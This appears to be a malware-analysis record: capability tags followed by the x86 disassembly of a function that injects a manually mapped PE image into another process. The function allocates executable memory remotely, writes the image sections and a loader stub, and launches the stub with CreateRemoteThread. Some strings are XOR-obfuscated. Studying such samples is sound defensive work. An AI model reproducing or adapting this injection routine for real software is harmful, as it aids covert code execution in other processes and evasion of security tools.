Function at 0x4cc630
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557306
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x288
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], 0
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0xf
lea ecx, [ebx + 8]
push 0x40
cmova esi, dword [ebx + 8]
cmova ecx, dword [ebx + 8]
mov dword [ebp - 0x14], esi
push 0x3000
mov esi, dword [esi + 0x3c]
add esi, ecx
mov dword [ebp - 0x24], esi
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebx + 0x1c], 0xf
lea ecx, [ebx + 8]
push 0
push dword [esi + 0x54]
cmova ecx, dword [ebx + 8]
push ecx
push eax
push edi
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x4cc70a
add esi, 0x10c
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
mov ecx, dword [esi]
cmova eax, dword [ebx + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x28]
push ecx
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x24]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x4cc6d3
mov esi, dword [ebp - 0x24]
push 0x40
push 0x3000
push 0x1000
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x14]
mov edi, eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x290], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x28c], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x288], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x280], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x27c], eax
lea eax, [ebp - 0x278]
push 0
push eax
mov dword [ebp - 0x284], ecx
call fcn.004359a0
mov dword [ebp - 0x18], 0xa980d497
add esp, 0xc
mov dword [ebp - 0x14], 0xf3c01ed1
mov edx, 0x5862dc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x78]
xorps xmm1, xmmword [ebp - 0x60]
push eax
movaps xmmword [ebp - 0x50], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 2
mov ecx, 0x586328
cmp dword [0x58633c], 0xf
push dword [0x586338]
cmova ecx, dword [0x586328]
push ecx
mov ecx, eax
call fcn.00418f00
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x20], 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x78]
call fcn.00402df0
cmp dword [0x583db8], 0xf
lea eax, [ebp - 0x40]
mov ecx, 0x583da4
cmova ecx, dword [0x583da4]
cmp dword [ebp - 0x2c], 0xf
push ecx
cmova eax, dword [ebp - 0x40]
push eax
lea eax, [ebp - 0x278]
push str._s_s
push eax
call fcn.00403440
add esp, 0x10
lea eax, [ebp - 0x290]
push 0
push 0x218
push eax
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, 0x4cc980
lea esi, [edi + 0x218]
sub eax, 0x4cc990
push eax
push 0x4cc990
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov dword [ebp - 0x20], eax
and eax, 0xfffffffe
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x4cc945
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4cc93b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4cc979
push ecx
push edx
call fcn.004338e3
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 8]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438c60
int3